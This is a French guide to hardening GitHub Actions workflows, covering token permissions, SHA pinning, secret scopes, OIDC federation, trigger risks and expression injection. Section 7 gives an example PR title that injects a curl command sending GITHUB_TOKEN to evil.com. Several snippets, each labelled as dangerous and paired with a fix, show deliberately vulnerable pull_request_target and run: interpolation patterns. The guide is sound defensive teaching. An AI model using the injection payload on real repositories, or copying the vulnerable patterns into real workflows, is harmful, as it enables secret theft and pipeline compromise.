1. Permissions — Principe du moindre privilège
Le changement le plus impactant que vous puissiez apporter à n’importe quel workflow GitHub Actions est de verrouiller les permissions. Par défaut, GITHUB_TOKEN dispose d’un accès en lecture et écriture sur la plupart des scopes. Corrigez cela immédiatement.
Permissions en lecture seule par défaut (niveau global)
Placez ceci en haut de chaque fichier workflow pour définir la lecture seule comme valeur par défaut pour tous les jobs :
# .github/workflows/ci.yml
name: CI
on: [push, pull_request]
permissions: read-all
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
Permissions vides (aucun accès)
Pour les jobs qui n’interagissent jamais avec les API GitHub ni le dépôt, supprimez toutes les permissions :
jobs:
lint:
runs-on: ubuntu-latest
permissions: {}
steps:
- uses: actions/checkout@v4
- run: npm run lint
Pourquoi ça fonctionne : actions/checkout utilise le token pour les dépôts privés mais se rabat sur un clone anonyme pour les dépôts publics. Si votre dépôt est public, permissions: {} est sûr pour le checkout.
Recettes de permissions par job
N’accordez que ce dont chaque job a besoin :
# Checkout uniquement (dépôt privé)
jobs:
test:
permissions:
contents: read
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Déployer sur GitHub Pages
jobs:
deploy-pages:
permissions:
pages: write
id-token: write
runs-on: ubuntu-latest
# Pousser vers GitHub Container Registry (GHCR)
jobs:
push-image:
permissions:
contents: read
packages: write
runs-on: ubuntu-latest
# Créer une GitHub Release
jobs:
release:
permissions:
contents: write
runs-on: ubuntu-latest
# Commenter une Pull Request
jobs:
comment:
permissions:
pull-requests: write
runs-on: ubuntu-latest
Règle d’or : Commencez avec permissions: {} et ajoutez les scopes un par un jusqu’à ce que le job réussisse. Ne laissez jamais les permissions lecture-écriture par défaut en place.
2. Pinning des actions — Arrêtez d’utiliser les tags
Les tags comme @v4 sont mutables. Un attaquant qui compromet une action populaire peut déplacer le tag vers un commit malveillant. Épinglez chaque action tierce à un SHA complet.
Épinglé vs. Non épinglé
# DANGEREUX — le tag peut être déplacé vers n'importe quel commit
- uses: actions/checkout@v4
# SÛR — référence de commit immuable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
Le commentaire en fin de ligne préserve la lisibilité tandis que le SHA verrouille le code exact que vous avez audité.
Trouver le SHA de n’importe quelle action
# Obtenir le SHA complet pour un tag spécifique
git ls-remote --tags https://github.com/actions/checkout.git v4.1.1
# Ou utiliser l'API GitHub
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'
Automatiser les mises à jour avec Dependabot
Épingler par SHA ne signifie pas que vous arrêtez de mettre à jour. Laissez Dependabot proposer automatiquement les montées de version :
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: "/"
schedule:
interval: weekly
commit-message:
prefix: "ci"
reviewers:
- "your-org/security-team"
labels:
- "dependencies"
- "ci"
Dependabot comprend les pins SHA. Il mettra à jour le SHA et le commentaire du tag en une seule PR.
3. Gestion des secrets
GitHub propose trois périmètres de secrets. Choisissez le bon pour minimiser le rayon d’impact.
Comparaison des périmètres de secrets
| Périmètre | Visibilité | Idéal pour |
|---|---|---|
| Repository | Tous les workflows d’un dépôt | Clés API spécifiques au dépôt, tokens |
| Environment | Uniquement les jobs ciblant cet environnement | Identifiants de production, clés de déploiement |
| Organization | Dépôts sélectionnés dans l’organisation | Comptes de service partagés, identifiants de registre |
Règles de protection des environnements
Les environnements vous permettent de conditionner les déploiements à des approbations, des délais d’attente et des restrictions de branches :
jobs:
deploy-production:
runs-on: ubuntu-latest
environment:
name: production
url: https://app.example.com
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Deploy
run: ./deploy.sh
env:
DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}
Ensuite, configurez l’environnement production dans Settings → Environments avec :
- Réviseurs requis (au moins 1)
- Délai d’attente (par ex. 5 minutes)
- Restriction de branche de déploiement :
mainuniquement
La zone de danger pull_request vs pull_request_target
C’est l’une des incompréhensions les plus dangereuses dans GitHub Actions :
| Déclencheur | Code extrait | Secrets disponibles ? | Risque |
|---|---|---|---|
pull_request |
Commit de merge de la PR | Non (forks) | Faible |
pull_request_target |
Branche de base | Oui | Critique si vous extrayez le code de la PR |
Ne faites jamais ceci :
# VULNÉRABILITÉ CRITIQUE — secrets exposés au code de la PR du fork
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Extrait du code NON FIABLE du fork
- run: ./build.sh # Exécute du code contrôlé par l'attaquant AVEC les secrets
Si vous avez besoin de pull_request_target, n’extrayez jamais le head de la PR. Utilisez-le uniquement pour étiqueter ou commenter sur le code de la branche de base.
4. OIDC / Workload Identity Federation
Cessez de stocker des identifiants cloud à longue durée de vie comme secrets. Utilisez OpenID Connect pour obtenir des tokens à courte durée de vie directement auprès de votre fournisseur cloud.
Bloc de permissions requis pour tous les workflows OIDC :
permissions:
id-token: write # Requis pour demander le JWT OIDC
contents: read # Requis pour actions/checkout
AWS — Configurer OIDC
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
Modèle de politique de confiance AWS :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
}
}
}
]
}
GCP — Workload Identity Federation
- name: Authenticate to Google Cloud
uses: google-github-actions/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3
with:
workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
service_account: github-actions@my-project.iam.gserviceaccount.com
Azure — Federated Credentials
- name: Azure Login
uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
Avantage clé : Aucun identifiant statique stocké nulle part. Les tokens expirent en quelques minutes. La politique de confiance restreint quels dépôts, branches et environnements peuvent assumer le rôle.
5. Déclencheurs de workflow — Sûrs vs. Dangereux
Tous les déclencheurs ne se valent pas. Certains exécutent du code provenant de sources non fiables ou accordent des permissions élevées.
Tableau de sécurité des déclencheurs
| Déclencheur | Niveau de risque | Notes |
|---|---|---|
push |
Faible | N’exécute que du code déjà fusionné |
pull_request |
Faible | Pas de secrets pour les forks |
schedule |
Faible | S’exécute sur la branche par défaut |
workflow_dispatch |
Moyen | Déclencheur manuel — validez les entrées |
pull_request_target |
Élevé | Secrets disponibles — voir Section 3 |
issue_comment |
Élevé | N’importe quel commentateur peut déclencher — contrôlez avec des vérifications de permissions |
workflow_run |
Élevé | Hérite du contexte élevé du workflow déclencheur |
Filtrage par branche et chemin
Réduisez les exécutions inutiles et limitez l’exposition :
on:
push:
branches:
- main
- 'releases/**'
paths:
- 'src/**'
- 'package.json'
paths-ignore:
- 'docs/**'
- '*.md'
Contrôle de la concurrence
Empêchez plusieurs déploiements de se chevaucher :
concurrency:
group: deploy-${{ github.ref }}
cancel-in-progress: false # Ne pas annuler les déploiements en cours
# Pour les builds de PR où annuler les anciennes exécutions est sûr :
concurrency:
group: ci-${{ github.event.pull_request.number || github.sha }}
cancel-in-progress: true
6. Sécurité des actions tierces
Chaque ligne uses: dans votre workflow est une dépendance de la chaîne d’approvisionnement. Traitez-la comme n’importe quelle autre dépendance.
Checklist d’audit
Avant d’adopter une action tierce, vérifiez :
- Éditeur : Provient-elle d’un créateur vérifié ou d’une organisation connue (par ex.
actions/*,aws-actions/*) ? - Code source : Avez-vous lu le fichier
action.ymlet le script d’entrée ? - Permissions : Demande-t-elle plus que nécessaire ?
- Stars / utilisation : Les actions peu utilisées présentent un risque plus élevé.
- Maintenance : Quand a eu lieu le dernier commit ? Les issues sont-elles traitées ?
- Dépendances : Importe-t-elle un énorme arbre
node_modules?
Forkez les actions critiques
Pour les actions qui s’exécutent dans des pipelines sensibles, forkez-les dans votre organisation :
# Au lieu de :
- uses: some-random-org/deploy-action@v2
# Forkez et épinglez :
- uses: your-org/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
Mettez en place un workflow planifié pour synchroniser votre fork et examiner les diffs avant de fusionner les changements upstream.
CODEOWNERS pour les fichiers workflow
Exigez une revue de l’équipe sécurité pour tout changement de workflow :
# .github/CODEOWNERS
.github/workflows/ @your-org/security-team
.github/actions/ @your-org/security-team
Combinez avec les règles de protection de branche exigeant l’approbation des CODEOWNERS pour rendre cela applicable.
7. Prévention de l’injection d’expressions
Les expressions GitHub Actions (${{ }}) sont développées par template avant que le shell ne les voie. Si un attaquant contrôle la valeur, il contrôle votre shell.
Le pattern dangereux
# VULNÉRABLE — l'attaquant contrôle le titre de la PR
- name: Echo PR title
run: echo "PR: ${{ github.event.pull_request.title }}"
Un titre de PR malveillant comme Fix"; curl http://evil.com/steal?token=$GITHUB_TOKEN # sort du echo et exfiltre votre token.
Contextes dangereux qui acceptent des entrées utilisateur :
github.event.pull_request.titlegithub.event.pull_request.bodygithub.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.review.bodygithub.event.head_commit.messagegithub.head_ref(nom de branche des forks)
L’alternative sûre — Variables d’environnement
# SÛR — la valeur est passée comme variable d'environnement, pas injectée dans le script
- name: Echo PR title
run: echo "PR: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
Lorsque la valeur transite par une variable d’environnement, le shell la traite comme une donnée, pas comme du code. C’est la correction pour chaque injection d’expression.
Utilisation sûre dans les conditions
Les expressions dans les conditions if: sont sûres car elles sont évaluées par le runtime Actions, pas par le shell :
# SÛR — évalué par le runtime Actions, pas le shell
- name: Check label
if: contains(github.event.pull_request.labels.*.name, 'deploy')
run: echo "Deploy label found"
8. Erreurs courantes — Top 5 avec corrections
Erreur 1 : Permissions de token par défaut (trop permissives)
# MAUVAIS — lecture-écriture implicite sur tout
on: push
jobs:
build:
runs-on: ubuntu-latest
steps: ...
# CORRIGÉ — lecture seule explicite par défaut
on: push
permissions: read-all
jobs:
build:
runs-on: ubuntu-latest
steps: ...
Erreur 2 : Utiliser des tags mutables pour les actions
# MAUVAIS
- uses: actions/setup-node@v4
# CORRIGÉ
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
Erreur 3 : Identifiants cloud à longue durée de vie comme secrets
# MAUVAIS — clés AWS statiques qui n'expirent jamais
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
# CORRIGÉ — fédération OIDC, aucun identifiant stocké
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
aws-region: us-east-1
Erreur 4 : Extraire le code de la PR dans pull_request_target
# MAUVAIS — exécute du code non fiable avec les secrets
on: pull_request_target
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: make build
# CORRIGÉ — utiliser le déclencheur pull_request (pas de secrets pour les forks)
on: pull_request
steps:
- uses: actions/checkout@v4
- run: make build
Erreur 5 : Injection d’expression via run:
# MAUVAIS — interpolation directe des entrées utilisateur
- run: echo "Issue: ${{ github.event.issue.title }}"
# CORRIGÉ — passer par une variable d'environnement
- run: echo "Issue: $ISSUE_TITLE"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
Carte de référence rapide
| Pratique | En une ligne |
|---|---|
| Permissions par défaut | permissions: read-all en haut du workflow |
| Épingler les actions | Utiliser le SHA complet de 40 caractères + commentaire du tag |
| Mise à jour auto des pins | Dependabot avec l’écosystème github-actions |
| Auth cloud | Fédération OIDC, jamais de clés statiques |
| Protéger les secrets | Périmètres d’environnement + règles de protection |
| Prévenir l’injection | Toujours utiliser env: pour les valeurs contrôlées par l’utilisateur |
| Revue des workflows | CODEOWNERS sur .github/workflows/ |
| Éviter les déclencheurs risqués | Éviter pull_request_target + checkout |
Appliquer ne serait-ce que la moitié de ces pratiques place votre pipeline CI/CD en avance sur la plupart des organisations. Commencez par les permissions et le pinning — cela prend cinq minutes et élimine des classes entières d’attaques de la chaîne d’approvisionnement. Ensuite, passez à la fédération OIDC et à la prévention de l’injection d’expressions pour combler les lacunes restantes.
Pour vous exercer concrètement, explorez nos labs Sécurité CI/CD et guides GitHub Actions pour voir ces patterns appliqués dans des scénarios réels.